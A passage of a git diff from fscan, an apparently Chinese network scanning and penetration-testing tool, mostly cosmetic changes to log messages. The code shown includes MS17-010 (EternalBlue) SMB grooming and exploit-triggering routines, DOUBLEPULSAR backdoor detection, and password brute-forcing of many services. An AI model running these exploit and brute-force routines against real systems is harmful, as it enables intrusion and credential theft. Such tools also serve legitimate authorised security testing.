建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) + return nil, nil, fmt.Errorf("连接目标失败: %v", err) } // 连接状态标记 @@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { // SMB协议协商 if err = smbClientNegotiate(conn); err != nil { - return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) + return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err) } // 匿名登录 raw, header, err := smb1AnonymousLogin(conn) if err != nil { - return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) + return nil, nil, fmt.Errorf("匿名登录失败: %v", err) } // 获取系统版本信息 if _, err = getOSName(raw); err != nil { - return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) + return nil, nil, fmt.Errorf("获取系统信息失败: %v", err) } // 连接IPC共享 header, err = treeConnectAndX(conn, address, header.UserID) if err != nil { - return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) + return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err) } ok = true @@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { // 读取NetBIOS会话服务头 buf := make([]byte, 4) if _, err := io.ReadFull(conn, buf); err != nil { - return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) + return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err) } // 校验消息类型 messageType := buf[0] if messageType != 0x00 { - return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) + return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType) } // 解析消息体大小 @@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { // 读取SMB消息体 buf = make([]byte, messageSize) if _, err := io.ReadFull(conn, buf); err != nil { - return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) + return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err) } // 解析SMB头部 header := smbHeader{} reader := bytes.NewReader(buf[:smbHeaderSize]) if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { - return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) + return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err) } return buf, &header, nil @@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error { // 构造NetBIOS会话服务头 if err := writeNetBIOSHeader(&buf); err != nil { - return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBHeader(&buf); err != nil { - return fmt.Errorf("[-] 构造SMB头失败: %v", err) + return fmt.Errorf("构造SMB头失败: %v", err) } // 构造协议协商请求 if err := writeNegotiateRequest(&buf); err != nil { - return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) + return fmt.Errorf("构造协议协商请求失败: %v", err) } // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) + return fmt.Errorf("发送协议协商数据包失败: %v", err) } // 获取响应 if _, _, err := smb1GetResponse(conn); err != nil { - return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) + return fmt.Errorf("获取协议协商响应失败: %v", err) } return nil @@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { // 构造NetBIOS会话服务头 if err := writeNetBIOSLoginHeader(&buf); err != nil { - return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBLoginHeader(&buf); err != nil { - return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + return nil, nil, fmt.Errorf("构造SMB头失败: %v", err) } // 构造会话设置请求 if err := writeSessionSetupRequest(&buf); err != nil { - return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err) + return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err) } // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err) + return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err) } // 获取响应 @@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) { char := make([]byte, 2) for { if _, err := io.ReadFull(reader, char); err != nil { - return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err) + return "", fmt.Errorf("读取操作系统名称失败: %v", err) } // 遇到结束符(0x00 0x00)时退出 @@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, // 构造NetBIOS会话服务头 if err := writeNetBIOSTreeHeader(&buf); err != nil { - return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return nil, fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBTreeHeader(&buf, userID); err != nil { - return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + return nil, fmt.Errorf("构造SMB头失败: %v", err) } // 构造树连接请求 if err := writeTreeConnectRequest(&buf, address); err != nil { - return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err) + return nil, fmt.Errorf("构造树连接请求失败: %v", err) } // 更新数据包大小 @@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err) + return nil, fmt.Errorf("发送树连接请求失败: %v", err) } // 获取响应 _, header, err := smb1GetResponse(conn) if err != nil { - return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err) + return nil, fmt.Errorf("获取树连接响应失败: %v", err) } return header, nil @@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error { // IPC路径 host, _, err := net.SplitHostPort(address) if err != nil { - return fmt.Errorf("[-] 解析地址失败: %v", err) + return fmt.Errorf("解析地址失败: %v", err) } _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) @@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { // 发送NT Trans请求获取事务头 transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) if err != nil { - return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + return fmt.Errorf("发送NT Trans请求失败: %v", err) } treeID := transHeader.TreeID @@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { // 发送组合数据包 if _, err := conn.Write(transPackets); err != nil { - return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err) + return fmt.Errorf("发送大缓冲区数据失败: %v", err) } // 获取响应 if _, _, err := smb1GetResponse(conn); err != nil { - return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err) + return fmt.Errorf("获取大缓冲区响应失败: %v", err) } return nil @@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { // 构造NetBIOS会话服务头 if err := writeNetBIOSNTTransHeader(&buf); err != nil { - return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + return nil, fmt.Errorf("构造NetBIOS头失败: %v", err) } // 构造SMB协议头 if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { - return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + return nil, fmt.Errorf("构造SMB头失败: %v", err) } // 构造NT Trans请求 if err := writeNTTransRequest(&buf); err != nil { - return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err) + return nil, fmt.Errorf("构造NT Trans请求失败: %v", err) } // 发送数据包 if _, err := buf.WriteTo(conn); err != nil { - return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + return nil, fmt.Errorf("发送NT Trans请求失败: %v", err) } // 获取响应 _, header, err := smb1GetResponse(conn) if err != nil { - return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err) + return nil, fmt.Errorf("获取NT Trans响应失败: %v", err) } return header, nil @@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("[-] 连接目标失败: %v", err) + return nil, fmt.Errorf("连接目标失败: %v", err) } // 连接状态标记 @@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { // SMB协议协商 if err = smbClientNegotiate(conn); err != nil { - return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) + return nil, fmt.Errorf("SMB协议协商失败: %v", err) } // 根据开始/结束标志设置不同参数 @@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { // 构造并发送会话数据包 packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) if _, err = conn.Write(packet); err != nil { - return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err) + return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err) } // 获取响应 if _, _, err = smb1GetResponse(conn); err != nil { - return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err) + return nil, fmt.Errorf("获取会话响应失败: %v", err) } ok = true @@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) { // 创建TCP连接 conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("[-] 连接目标失败: %v", err) + return nil, fmt.Errorf("连接目标失败: %v", err) } // 发送SMB2头 if _, err = conn.Write(header); err != nil { - return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) + return nil, fmt.Errorf("发送SMB2头失败: %v", err) } conns = append(conns, conn) diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 0d808d4..18646f1 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -3,10 +3,9 @@ package Plugins import ( "encoding/binary" "encoding/hex" - "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "log" + "os" "strings" "time" ) @@ -33,126 +32,133 @@ func init() { // 解密协议请求 decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) if err != nil { - log.Fatalf("解密协议请求失败: %v", err) + Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err)) + os.Exit(1) } negotiateProtocolRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码协议请求失败: %v", err) + Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err)) + os.Exit(1) } // 解密会话请求 decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) if err != nil { - log.Fatalf("解密会话请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err)) + os.Exit(1) } sessionSetupRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码会话请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err)) + os.Exit(1) } // 解密连接请求 decrypted, err = AesDecrypt(treeConnectRequest_enc, key) if err != nil { - log.Fatalf("解密连接请求失败: %v", err) + Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err)) + os.Exit(1) } treeConnectRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码连接请求失败: %v", err) + Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err)) + os.Exit(1) } // 解密管道请求 decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) if err != nil { - log.Fatalf("解密管道请求失败: %v", err) + Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err)) + os.Exit(1) } transNamedPipeRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码管道请求失败: %v", err) + Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err)) + os.Exit(1) } // 解密会话设置请求 decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) if err != nil { - log.Fatalf("解密会话设置请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err)) + os.Exit(1) } trans2SessionSetupRequest, err = hex.DecodeString(decrypted) if err != nil { - log.Fatalf("解码会话设置请求失败: %v", err) + Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err)) + os.Exit(1) } } // MS17010 扫描入口函数 func MS17010(info *Common.HostInfo) error { - // 暴力破解模式下跳过扫描 if Common.DisableBrute { return nil } - // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { - Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) + Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err)) } return err } -// MS17010Scan 执行MS17-010漏洞扫描 func MS17010Scan(info *Common.HostInfo) error { ip := info.Host - // 连接目标445端口 + // 连接目标 conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) if err != nil { - return err + return fmt.Errorf("连接错误: %v", err) } defer conn.Close() - // 设置连接超时 if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - return err + return fmt.Errorf("设置超时错误: %v", err) } - // 发送SMB协议协商请求 + // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return err + return fmt.Errorf("发送协议请求错误: %v", err) } - // 读取响应 reply := make([]byte, 1024) if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取协议响应错误: %v", err) + } + return fmt.Errorf("协议响应不完整") } - // 检查协议响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return err + return fmt.Errorf("协议协商被拒绝") } - // 发送会话建立请求 + // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return err + return fmt.Errorf("发送会话请求错误: %v", err) } - // 读取响应 n, err := conn.Read(reply) if err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取会话响应错误: %v", err) + } + return fmt.Errorf("会话响应不完整") } - // 检查会话响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return errors.New("无法确定目标是否存在漏洞") + return fmt.Errorf("会话建立失败") } - // 提取操作系统信息 + // 提取系统信息 var os string sessionSetupResponse := reply[36:n] if wordCount := sessionSetupResponse[0]; wordCount != 0 { byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n != int(byteCount)+45 { - fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip) + Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip)) } else { - // 查找Unicode字符串结束标记(两个连续的0字节) for i := 10; i < len(sessionSetupResponse)-1; i++ { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { os = string(sessionSetupResponse[10:i]) @@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error { } } - // 获取用户ID + // 树连接请求 userID := reply[32:34] treeConnectRequest[32] = userID[0] treeConnectRequest[33] = userID[1] - // 发送树连接请求 if _, err = conn.Write(treeConnectRequest); err != nil { - return err + return fmt.Errorf("发送树连接请求错误: %v", err) } if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取树连接响应错误: %v", err) + } + return fmt.Errorf("树连接响应不完整") } - // 获取树ID并设置后续请求 + // 命名管道请求 treeID := reply[28:30] transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[33] = userID[1] - // 发送命名管道请求 if _, err = conn.Write(transNamedPipeRequest); err != nil { - return err + return fmt.Errorf("发送管道请求错误: %v", err) } if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取管道响应错误: %v", err) + } + return fmt.Errorf("管道响应不完整") } - // 检查漏洞状态 + // 漏洞检测 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - // 目标存在MS17-010漏洞 - Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)) + if os != "" { + Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os)) + } else { + Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip)) + } - // 如果指定了shellcode,执行漏洞利用 - defer func() { - if Common.Shellcode != "" { - MS17010EXP(info) - } - }() - - // 检测DOUBLEPULSAR后门 + // DOUBLEPULSAR后门检测 trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[33] = userID[1] if _, err = conn.Write(trans2SessionSetupRequest); err != nil { - return err + return fmt.Errorf("发送后门检测请求错误: %v", err) } if n, err := conn.Read(reply); err != nil || n < 36 { - return err + if err != nil { + return fmt.Errorf("读取后门检测响应错误: %v", err) + } + return fmt.Errorf("后门检测响应不完整") } if reply[34] == 0x51 { - Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip)) + Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip)) } - } else { - // 未检测到漏洞,仅输出系统信息 - Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)) + + // Shellcode利用 + if Common.Shellcode != "" { + defer MS17010EXP(info) + } + } else if os != "" { + Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os)) } - return err + return nil } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 6066ab1..dd3831c 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { } if err != nil { - errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", + errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index c086da0..be144bd 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error { rev := make([]byte, 1024) n, err := client.Read(rev) if err != nil { - errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) + errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) return err } // 检查响应内容 if strings.Contains(string(rev[:n]), "STAT") { - result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost) + result := fmt.Sprintf("Memcached %s 未授权访问", realhost) Common.LogSuccess(result) } diff --git a/Plugins/Modbus.go b/Plugins/Modbus.go index a00da6e..bb80536 100644 --- a/Plugins/Modbus.go +++ b/Plugins/Modbus.go @@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error { // 验证响应 if isValidModbusResponse(response[:n]) { - result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port) + result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port) Common.LogSuccess(result) // 尝试读取更多设备信息 deviceInfo := parseModbusResponse(response[:n]) if deviceInfo != "" { - Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo)) + Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo)) } return nil } diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index bc83a28..27f88af 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error { _, err := MongodbUnauth(info) if err != nil { - errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) + errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } return err @@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) { // 检查响应结果 if strings.Contains(reply, "totalLinesWritten") { - result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost) + result := fmt.Sprintf("MongoDB %v 未授权访问", realhost) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 2d909dc..a2b43a6 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { // 连接成功 select { case successChan <- struct{}{}: // 标记成功 - successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v", + successLog := fmt.Sprintf("MySQL %v:%v %v %v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(successLog) default: @@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", + errlog := fmt.Sprintf("MySQL %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/Neo4j.go b/Plugins/Neo4j.go index e7135b7..14ae659 100644 --- a/Plugins/Neo4j.go +++ b/Plugins/Neo4j.go @@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 连接成功 - result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port) + result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 7f81063..71a4aba 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error { netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { - result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output) + result := fmt.Sprintf("NetBios %-15s %s", info.Host, output) Common.LogSuccess(result) return nil } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index d90c94f..f5c4a5e 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", + errlog := fmt.Sprintf("Oracle %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 连接成功 - result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password) + result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/POP3.go b/Plugins/POP3.go index 306b09a..bcf6624 100644 --- a/Plugins/POP3.go +++ b/Plugins/POP3.go @@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) { err = result.err if result.success && err == nil { // 连接成功 - successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v", + successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(successLog) resultChan <- nil @@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri } if strings.Contains(response, "+OK") { - result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) if isTLS { result += " (TLS)" } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index cb10f55..ffa72c5 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", + errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) } // 连接成功 - result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password) + result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 30f779b..96ce637 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { // 连接成功 var result string if Common.Domain != "" { - result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) } else { - result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass) } Common.LogSuccess(result) select { @@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { } // 连接失败 - errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) + errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) Common.LogError(errlog) } }() @@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute // 连接成功 var result string if domain != "" { - result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) } else { - result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) + result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass) } Common.LogSuccess(result) *signal = true @@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute } // 连接失败 - errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) + errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) Common.LogError(errlog) } } diff --git a/Plugins/RabbitMQ.go b/Plugins/RabbitMQ.go index 01af0df..4595c11 100644 --- a/Plugins/RabbitMQ.go +++ b/Plugins/RabbitMQ.go @@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) { case result := <-done: err = result.err if result.success && err == nil { - result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", + result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(result) resultChan <- nil @@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error) // 如果成功连接 if conn != nil { - result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 7d79395..6f96ab5 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", + errlog := fmt.Sprintf("Redis %v:%v %v %v", info.Host, info.Ports, pass, err) Common.LogError(errlog) @@ -126,7 +126,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) { } } } - + return tmperr } @@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) { // 获取配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) + result := fmt.Sprintf("Redis %s %s", realhost, pass) Common.LogSuccess(result) return true, err } - result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) + result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) Common.LogSuccess(result) // 尝试利用 @@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { - Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err)) + Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err)) return flag, err } 